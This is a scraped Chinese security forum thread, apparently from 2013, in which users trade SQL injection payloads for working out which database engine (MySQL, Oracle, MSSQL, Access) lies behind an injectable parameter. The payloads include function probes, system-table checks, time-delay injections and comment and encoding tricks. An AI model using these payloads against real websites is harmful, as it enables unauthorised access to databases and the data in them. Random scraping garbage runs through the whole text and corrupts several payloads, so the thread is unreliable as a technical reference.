一个注射点如何最快速确认是什么类型数据库
. E' V2 E# k; d8 E4 L% b+ Kxsser (十根阳具有长短!!) | 2013-02-05 12:36* T" `$ g* D( W5 n
假设这么一个注射点:
; A; M7 `( C" k# K$ ?show.html?id=2: G0 y3 U6 i- h* s. y. d
mysql:id=2 and version()>0
3 u; m! \) T @7 M+ r+ S7 {oracle:id=2 and '1'||'1'='11
$ [5 i$ T8 j# i: n& x其他的欢迎补充
9 V+ m' e' e2 J1## o# H% m8 r( y7 [
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47/ o# J2 p% C7 |& ~% Y" Z
Access:
2 c" |0 @1 n# e8 o5 w: N5 gaNd aSc(cHr(97))=971 S2 x/ z) S" A
and exists(select id from MSysAccessObjects)
8 X; y9 ?* U, J4 LSQL Server:
9 d F- b. J9 U/ [and exists(select id from sysobjects), }- E( n4 ~9 g! `6 K: }( ^
and length(user)>03 H3 w$ y0 J( k k
MySQL:! ?$ X, Y! D4 F1 S9 D4 R
and length(user())>0
( x( _1 Q% L y( N2#2 L5 A) n5 Q" T; b0 Q6 E
xsser (十根阳具有长短!!) | 2013-02-05 12:48
" r7 Z! q% }; d@upload 如果这些都不是呢…
# }) k- a. K! i4 ]+ O7 y3#+ Q* S/ y9 Z2 ?7 g$ F- [, f9 Z: a
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:039 }8 a4 H/ Y" a
@xsser 不快速的,延时注入5 c, ]& O0 `- n& Q; k% ], {
不知道这样写对不对
) f# g8 h0 j: a+ K: ?- `mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
- Q) n5 I1 q2 U1 Q U, v0 Q4 o5 Jmysql:id=2 and select benchmark(1e8,current_date());' D+ l( o6 Y4 j, i( D& D
4#
f; p3 s* Y8 D/ v. rupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
4 t7 L, \0 T6 y最快的貌似是看报错信息
( N/ R( \; Y, B9 r5 }oracle error& e6 V3 j8 N8 i( m
mssql error, D1 M" X3 Z7 p: q8 @# B
mysql error
' U$ g/ D3 p+ ^) p5#: {3 `5 }' g& C' ~* H7 x. C
Nimda (你们都是坏银~) | 2013-02-05 13:14
, Y1 D4 w1 v1 z. f. p* t* P# Y小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)" k+ K, J7 ]/ H! P8 }
6#. B3 D; s8 n0 _
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21. N# x4 T$ X5 K9 W+ N- x
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
- W5 F+ f$ t8 |1 @2 ?4 M9 Y“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:, ]* @ {" X* [
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。5 u c8 J: h# V0 V
7#
% Z/ u2 a) h6 X_Evil (HackEnd) | 2013-02-05 13:33
+ i% m6 V. F1 |; w! p) v# NPostgreSQL1 W1 i, E1 H0 J
8#5 ^! V* j8 T$ Z v$ c- [* x
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
! ^' U( H' N. L+ E0 A切换编码 and 1=11 ^+ F3 I: V# d% Y3 _6 m
oracle:; V) {4 p! t" A5 j
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)& ^. N5 v7 M+ ]
mssql:
9 D5 m$ ]6 E9 {+ T. ]- uCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
4 l1 c6 T# l; `% K* R; hmysql:& Y& _: V# k3 ~
CHAR(97, 110, 100, 32, 49, 61, 49)
; f$ M1 l* Q$ B; [' a) \9#
) m$ y% t- T1 u. p" Dxsser (十根阳具有长短!!) | 2013-02-05 14:31
" r7 `+ N1 {8 c. x/ X@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?" H( j/ f! R* }* A9 y( e+ X" J
10#
( {! G+ {& g' X5 _- Wupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46* V% O& s+ _" W
@xsser 是奇葩数据库类型的么?$ I( E( T! [. A% H; f# ]) V
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
9 [1 _) ~! B7 _1.是否可以使用特定的函数来判断,该数据库特有的
+ x& X) f/ e+ I8 _- V2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
6 z' ]) P6 \7 U& ?* y+ r0 `3.是否可以编码查询6 x, L5 x/ b0 F3 N
4.是否显可以利用错信息
9 M# b' W4 g! n$ i& |5.是否存在数据库某些特性辅助判断
; a) D/ D7 K6 D# t个人见解% R: r2 d1 x+ D4 B% }+ t. O9 @
11#! d% z% K) n8 ?0 q* s, {
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
; Z8 Y$ T% j+ I' F# u7 u3 r已收藏,mssql可以直接看到错误提示的吧~
& _: l3 q- t. |8 h5 S12#- k% a" z0 B; R/ Z
Passer_by | 2013-02-05 15:09* m0 x1 u# K% H: [: |
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
6 x6 J4 V( v7 ~2 a( B8 z1 M- bfrom:http://zone.wooyun.org/content/260 |